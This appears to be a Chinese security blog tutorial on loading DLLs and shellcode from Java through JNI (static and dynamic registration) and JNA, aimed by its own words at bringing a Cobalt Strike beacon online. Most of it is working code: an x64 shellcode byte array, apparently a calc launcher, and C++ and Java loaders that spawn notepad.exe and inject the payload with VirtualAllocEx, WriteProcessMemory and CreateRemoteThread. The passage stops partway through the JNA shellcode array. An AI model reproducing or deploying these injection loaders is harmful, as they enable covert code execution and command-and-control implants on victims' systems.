本文如题,是为了学习JAVA的一个使用技巧,加载DLL或者Shellcode直接上线CS或者执行一些操作。
现在按我所知,加载DLL或者Shellcode方法有四种:
基于JNI、基于JNA、基于JDK自带的Native方法、基于HotSpot虚拟机(后面在学习)
所以本篇文章将以这些方法进行学习记录。
0x01 基于JNI
JNI是Java Native Interface的缩写,即Java本地接口。 它定义了一种虚拟机中的Java代码与用C/C++编写的本地代码交互的方式。支持从动态库中加载代码。使用JNI技术可以通过JAVA调用C/C++代码,也可以通过C/C++的代码调用Java的代码。
正常情况下编写的Java代码是不能直接调用C/C++代码,需要通过JNI标准接口进行间接调用ddddd。Java代码要想使用JNI调用Native层C/C++代码就需要先向JVM注册Native函数,其注册主要分为静态注册和动态注册两大类,通过注册可实现 Java Native 方法与 C/C++ 方法的对应关系。
静态和动态注册主要区别在于查找效率:静态注册,首次调用Java Native方法时,会按照JNI命名规则去寻找;而动态注册,由于存在一张映射表JNINativeMethod,因此查找效率高。最终,无论静态注册方法,还是动态注册方法,都需要将相应的C/C++文件编译成平台所需要的动态库。
调用JNI接口的步骤:
-
编写Java代码,标注要访问的本地动态连接库和本地方法
-
Javac
编译Java代码得到.class文件 -
使用
javah
生成该类对应的.h文件 -
使用
C/C++
实现函数功能,编译生成dll -
通过Java调用dll
静态注册
编写JAVA类:
Java加载动态链接库常见的有以下常见三种方法:
-
System.load / System.loadLibrary
-
Runtime.getRuntime().load
-
com.sun.glass.utils.NativeLibLoader.loadLibrary
为了简单方便,我用System.load
直接传入动态链接库的路径即可。
package org.example;
public class LoadDLLdemo {
public static native int outPutMethod(String input);
public static void main(String[] args) {
System.load("C:\Users\n0ToO\Desktop\JniTest\Dll1\x64\Release\Dll1.dll");
String input = "test";
System.out.println((new LoadDLLdemo()).outPutMethod(input));
}
}
利用该命令进行编译 :javac .LoadDLLdemo.java
利用javah生成编译native库所需要的.h
文件:
javac .LoadDLLdemo.java -h .
或者
javah -o LoadDLLdemo.java org.example.LoadDLLdemo.java
来看一下生成的.h
文件:
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class org_example_LoadDLLdemo */
#ifndef _Included_org_example_LoadDLLdemo
#define _Included_org_example_LoadDLLdemo
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: org_example_LoadDLLdemo
* Method: outPutMethod
* Signature: (Ljava/lang/String;)I
*/
JNIEXPORT jint JNICALL Java_org_example_LoadDLLdemo_outPutMethod
(JNIEnv *, jclass, jstring);
#ifdef __cplusplus
}
#endif
#endif
#include <jni.h>
引入了JVM所声明的所有JNI接口规范,jni.h
位于$JAVA_HOME/include
目录内,这是JNI中所有的类型、函数、宏等定义的地方。
extern "C"
声明是为了避免编绎器按照C++的方式去编绎C函数,也就是告诉编译器这部分代码使用C语言的规则进行编译和链接,这样处理的原因主要是涉及到C和C++的函数编译差异:C不支持函数的重载,编译之后函数名不变;而C++支持函数的重载,无论函数是否同名,编译之后函数名会发生改变,即被编译成函数名+参数类型的特殊修饰格式。
其中的C函数是JNI Native
对应的静态注册函数,用通过JNIEXPORT
和 JNICALL
宏定义来声明。除此之外,该静态注册函数的函数名主要是遵守特定JNI命名规范:Java_<PackageName>_<ClassName>_<MethodName>
,同时发现函数参数多了两个类型:JNIEnv *
和jclass/jobject
,这两个参数值由虚拟机自动传入。
通过JNIEnv *
指针可以对 Java 层代码进行操作,如:获取Java类/父类Class对象、创建Java对象、调用Java对象的方法等。
jclass
表示Java层静态native函数对应Java类的Class对象
jobject
表示Java层非静态native函数对应Java类的实例对象
编写DLL:
LoadDlldemo.h
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class org_example_LoadDLLdemo */
#ifndef _Included_org_example_LoadDLLdemo
#define _Included_org_example_LoadDLLdemo
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: org_example_LoadDLLdemo
* Method: outPutMethod
* Signature: (Ljava/lang/String;)I
*/
JNIEXPORT jint JNICALL Java_org_example_LoadDLLdemo_outPutMethod
(JNIEnv*, jclass, jstring);
#ifdef __cplusplus
}
#endif
#endif
dllmain.cpp:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdio.h>
#include "LoadDLLdemo.h"
JNIEXPORT jint JNICALL Java_org_example_LoadDLLdemo_outPutMethod(JNIEnv* env, jclass jclass , jstring str) {
printf("hello world");
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
如果爆没有找到jni.h的文件的错误的话,需要引入 <JDK_HOME>/include
和 <JDK_HOME>/include/win32
目录作为附加包含目录(导航栏依次选择 项目 => 属性 => C/C++ => 常规 => 附加包含目录)。jni.h
头文件位于 JDK 项目 include 目录下,该目录下的所有 .h
文件主要为编译本地代码时使用的 C/C++
头文件,所以需要引入。
然后编译生成。
执行结果
加载shellcode
java类:
package org.example;
import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
public class LoadDLLdemo {
public native void inject(byte[] buf);
public static void main(String[] args) {
System.load("C:\Users\n0ToO\Desktop\JniTest\Dll1\x64\Release\Dll1.dll");
byte buf[] = new byte[]
{
(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
(byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
(byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
(byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
(byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
(byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
(byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
(byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
(byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
(byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
(byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
(byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
(byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
(byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
(byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
(byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
(byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
(byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
(byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
};
RuntimeMXBean runtimeMXBean = ManagementFactory.getRuntimeMXBean();
long pid = runtimeMXBean.getPid();
System.out.println(pid);
(new LoadDLLdemo()).inject(buf);
}
}
dllmain.cpp:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdio.h>
#include "LoadDLLdemo.h"
void inject(LPCVOID buffer, int length);
JNIEXPORT void JNICALL Java_org_example_LoadDLLdemo_inject(JNIEnv* env, jobject jo, jbyteArray buf) {
jbyte* data = env->GetByteArrayElements(buf, 0);
jsize length = env->GetArrayLength(buf);
inject((LPCVOID)data, (SIZE_T)length);
env->ReleaseByteArrayElements(buf, data, 0);
printf("hello world");
}
void inject(LPCVOID buffer, int length) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hProcess = NULL;
SIZE_T wrote;
LPVOID ptr;
char lbuffer[1024];
char cmdbuff[1024];
/* reset some stuff */
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
/* start a process */
CHAR* test = (CHAR*)"notepad.exe";
printf_s("%s", test);
/* spawn the process, baby! */
if (!CreateProcess(NULL, test, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed (%d).n", GetLastError());
return;
}
hProcess = pi.hProcess;
if (!hProcess)
return;
/* allocate memory in our process */
ptr = (LPVOID)VirtualAllocEx(hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
/* write our shellcode to the process */
WriteProcessMemory(hProcess, (LPTHREAD_START_ROUTINE)ptr, buffer, (SIZE_T)length, (SIZE_T*)&wrote);
if (wrote != length)
return;
/* create a thread in the process */
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)ptr, NULL, 0, NULL);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
成功传入执行。
动态注册
通过这篇文章进行学习:
https://tttang.com/archive/1622/#toc__1
(1) Java 类中声明一个 registerNatives() 静态Java Native方法
(2) 动态链接库中定义一个JNI动态注册的映射表,JNINativeMethod 类型的结构体数组
(3) 动态链接库中定义并实现一个符合JNI静态注册规则的 Java_<PackageName>_<ClassName>_registerNatives C/C++方法
(4) Java 类中通过静态块加载相应动态链接库
(5) Java 类中通过静态块调用 registerNatives() 静态Java Native方法
(6) JNI 动态注册开始,Java_<PackageName>_<ClassName>_registerNatives C/C++方法调用JNI动态注册接口 RegisterNatives()
(7) JNI 动态注册完成,Java 类中可调用相应JNI动态注册的Native方法
需要注意的是第二点:动态链接库中定义一个JNI动态注册的映射表,JNINativeMethod 类型的结构体数组,所以需要知道JNINativeMethod 类型的结构体:
typedef struct {
char *name;
char *signature;
void *fnPtr;
} JNINativeMethod;
JNINativeMethod
结构体成员字段如下表
字段
含义
char *name
Java Native 方法名
char *signature
Java Native 方法签名
void *fnPtr
C/C++ 方法的函数指针
其中需要知道char *signature
构造这个签名需要熟悉以下数据类型对应:
(1)基本数据类型关系表
JNI 类型
Java 类型
C/C++ 类型
本地类型
jsize/jint
int
int
int32_t
jshort
short
short
int16_t
jlong
long
long/__int64
int64_t
jbyte
byte
signed char
char
jboolean
boolean
unsigned char
uint8_t
jchar
char
unsigned short
uint16_t
jfloat
float
float
float
jdouble
double
double
double
(2)引用数据类型关系表
JNI 类型
Java 类型
C 类型
C++ 类型
jobject
类实例化对象
_jobject*
_jobject*
jclass
类
_jobject*
_jclass*
jstring
java.lang.String
_jobject*
_jstring*
jthrowable
java.lang.Throwable
_jobject*
_jthrowable*
jintArray
int[]
_jobject*
_jintArray*
注意,除了上面定义的String
,Class
,Throwable
、数组
,其它的类都是以jobject
的形式出现。
-
JNI 签名(描述符)
signature
译为签名,用于Java里面成员的描述符,其概念如下:
(1) 如果是字段,表示字段类型的描述符
(2) 如果是函数,表示函数结构的描述符,即:(每个参数类型描述符) + 返回值类型描述符
(1)Java 数据类型描述符关系表
Java 类型 字段描述符(签名) 备注 int I int 首字母大写 float F float 首字母大写 double D double 首字母大写 short S short 首字母大写 long L long 首字母大写 char C char 首字母大写 byte B byte 首字母大写 boolean Z Z (因为 B 已被 byte 使用) object L + /分隔完整类名 java.lang.String 如: Ljava/lang/String array [ + 类型描述符 int[] 如:[I (2)Java 函数结构描述符关系表
Java 函数 函数描述符(签名) 备注 void V 无返回值类型 Method (每个参数字段描述符)函数返回值字段描述符 double sums(int num1, int num2) => (II)D 编写JAVA类:
org.example.LoadDLLdemo
package org.example;
import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
public class LoadDLLdemo {
//声明registerNatives静态Java Native方法
private static native void registerNatives();
public native void inject(byte[] buf);
public static void main(String[] args) {
System.load("C:\Users\n0ToO\Desktop\JniTest\Dll1\x64\Release\Dll1.dll");
byte buf[] = new byte[]
{
(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
(byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
(byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
(byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
(byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
(byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
(byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
(byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
(byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
(byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
(byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
(byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
(byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
(byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
(byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
(byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
(byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
(byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
(byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
};
RuntimeMXBean runtimeMXBean = ManagementFactory.getRuntimeMXBean();
long pid = runtimeMXBean.getPid();
System.out.println(pid);
registerNatives();
(new LoadDLLdemo()).inject(buf);
}
}
编写DLL:
LoadDLLdemo.h
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class org_example_LoadDLLdemo */
#ifndef _Included_org_example_LoadDLLdemo
#define _Included_org_example_LoadDLLdemo
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: org_example_LoadDLLdemo
* Method: registerNatives
* Signature: ()V
*/
JNIEXPORT void JNICALL Java_org_example_LoadDLLdemo_registerNatives
(JNIEnv*, jclass);
#ifdef __cplusplus
}
#endif
#endif
dllmain.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdio.h>
#include "LoadDLLdemo.h"
void inject(JNIEnv* env, jclass clas,jbyteArray data);
/*jbyteArray对应[B. Void 对应V*/
static JNINativeMethod method[] = {
{(char *)"inject",(char *)"([B)V",(void *)inject }
};
JNIEXPORT void JNICALL Java_org_example_LoadDLLdemo_registerNatives(JNIEnv* env, jclass clas) {
env->RegisterNatives(clas, method, sizeof(method) / sizeof(method[0]));
}
void inject(JNIEnv* env, jclass clas,jbyteArray data) {
int length = env->GetArrayLength(data);
LPCVOID buffer = (LPCVOID)env->GetByteArrayElements(data, 0);
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hProcess = NULL;
SIZE_T wrote;
LPVOID ptr;
char lbuffer[1024];
char cmdbuff[1024];
/* reset some stuff */
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
/* start a process */
/* resolve windir? */
GetEnvironmentVariableW((LPCWSTR)"windir", (LPWSTR)lbuffer, 1024);
/* setup our path... choose wisely for 32bit and 64bit platforms */
// _snprintf_s(cmdbuff, 1024, "C:\Windows\System32\System32\notepad.exe", lbuffer);
CHAR* test = (CHAR*)"notepad.exe";
printf_s("%s", test);
/* spawn the process, baby! */
if (!CreateProcess(NULL, test, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed (%d).n", GetLastError());
return;
}
hProcess = pi.hProcess;
if (!hProcess)
return;
/* allocate memory in our process */
ptr = (LPVOID)VirtualAllocEx(hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
/* write our shellcode to the process */
WriteProcessMemory(hProcess, (LPTHREAD_START_ROUTINE)ptr, buffer, (SIZE_T)length, (SIZE_T*)&wrote);
if (wrote != length)
return;
/* create a thread in the process */
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)ptr, NULL, 0, NULL);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
0x02 基于JNA
JNA(Java Native Access)框架是一个开源的Java框架,是SUN公司主导开发的,建立在经典的JNI的基础之上的一个框架。JNA框架它提供一组java工具类用于在运行期间动态访问系统本地共享类库,java开发人员只要在一个java接口中描述目标native library的函数与结构,JNA将自动实现Java接口到native function的映射,而不需要编写任何Native/JNI代码。
步骤
先用一个Hello World作为demo。
1、创建JAVA类加载C库
默认的是继承Library ,若是动态连接库里的函数是以stdcall方式输出的,那么就继承StdCallLibrary,比如kernel32库。
该常量经过Native.loadLibrary()这个API函数得到,该函数有2个参数:
-
第 一个参数是动态连接库dll/so的名称,不用携带后缀,这符合JNI的规范。搜索动态链接库路径的顺序是:先从当前类的当前文件夹找,若是没有找到,再在工程当前文件夹下面找win32/win64文件夹,找到后搜索对应的dll文件,若是找不到再到WINDOWS下面去搜索,再找不到就会抛异常了。好比上例中printf函数
-
第二个参数是本接口的Class类型。JNA经过这个Class类型,根据指定的.dll/.so文件,动态建立接口的实例。该实例由JNA经过反射自动生成。
-
注意参数和返回值的类型,应该和连接库中的函数类型保持一致。
import com.sun.jna.Library;
public interface JNAApiInterface extends Library {
//同时判断当前的环境是win还是linux,不同环境加载不同。在Windows平台下所在的dll库名称是msvcrt,而在 其它平台如Linux下的so库名称是c。
JNAApiInterface INSTANCE = (JNAApiInterface) Native.loadLibrary((Platform.isWindows() ? "msvcrt" : "c"), JNAApiInterface.class);
//定义要调用的方法。
void printf(String format, Object... args);
int sprintf(byte[] buffer, String format, Object... args);
int scanf(String format, Object... args);
}
2、直接尝试调用C库 API
JNAApiInterface jnaApiInterface = JNAApiInterface.INSTANCE;
jnaApiInterface.printf("hello World");
完整DEMO:
package org.example;
import com.sun.jna.Library;
import com.sun.jna.Native;
import com.sun.jna.Platform;
public class JnaLoadDll {
public interface JNAApiInterface extends Library {
JNAApiInterface INSTANCE = (JNAApiInterface) Native.loadLibrary((Platform.isWindows() ? "msvcrt" : "c"), JNAApiInterface.class);
void printf(String format, Object... args);
int sprintf(byte[] buffer, String format, Object... args);
int scanf(String format, Object... args);
}
public static void main(String[] args) {
JNAApiInterface jnaApiInterface = JNAApiInterface.INSTANCE;
jnaApiInterface.printf("hello World");
}
}
Pom.xml
<dependencies>
<!-- https://mvnrepository.com/artifact/net.java.dev.jna/jna -->
<dependency>
<groupId>net.java.dev.jna</groupId>
<artifactId>jna</artifactId>
<version>5.12.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/net.java.dev.jna/jna-platform -->
<dependency>
<groupId>net.java.dev.jna</groupId>
<artifactId>jna-platform</artifactId>
<version>5.12.1</version>
</dependency>
</dependencies>
调用Win API加载Shellcode
通过JNA,可以直接尝试 调用DLL里面定义的API函数,这样在一些场景上就不用额外编写DLL,而是在Java里面调用实现。
比如可以利用JNA调用kernel32.dll
、 ntdll.dll
等
http://java-native-access.github.io/jna/5.12.1/javadoc/
package org.example;
import com.sun.jna.Memory;
import com.sun.jna.Native;
import com.sun.jna.Pointer;
import com.sun.jna.platform.win32.*;
import com.sun.jna.ptr.IntByReference;
import com.sun.jna.win32.StdCallLibrary;
import com.sun.jna.win32.W32APIOptions;
public class JnaLoadDll {
static jnaInterface instance;
static Kernel32 kernel32;
static {
instance = (jnaInterface) Native.loadLibrary("kernel32", jnaInterface.class);
kernel32 = (Kernel32) Native.loadLibrary(Kernel32.class, W32APIOptions.UNICODE_OPTIONS);
}
public interface jnaInterface extends StdCallLibrary {
Pointer VirtualAllocEx(WinNT.HANDLE hProcess,
Pointer lpAddress,
int dwSize,
int flAllocationType,
int flProtect);
boolean CreateProcess(java.lang.String lpApplicationName,
java.lang.String lpCommandLine,
WinBase.SECURITY_ATTRIBUTES lpProcessAttributes,
WinBase.SECURITY_ATTRIBUTES lpThreadAttributes,
boolean bInheritHandles,
WinDef.DWORD dwCreationFlags,
Pointer lpEnvironment,
java.lang.String lpCurrentDirectory,
WinBase.STARTUPINFO lpStartupInfo,
WinBase.PROCESS_INFORMATION lpProcessInformation);
WinNT.HANDLE CreateRemoteThread(WinNT.HANDLE hProcess,
WinBase.SECURITY_ATTRIBUTES lpThreadAttributes,
int dwStackSize,
Pointer lpStartAddress,
Pointer lpParameter,
int dwCreationFlags,
WinDef.DWORDByReference lpThreadId);
boolean WriteProcessMemory(WinNT.HANDLE hProcess,
Pointer lpBaseAddress,
Pointer lpBuffer,
int nSize,
IntByReference lpNumberOfBytesWritten);
}
public static void main(String[] args) {
byte shellcode[] = new byte[]
{
(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
(byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
(byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
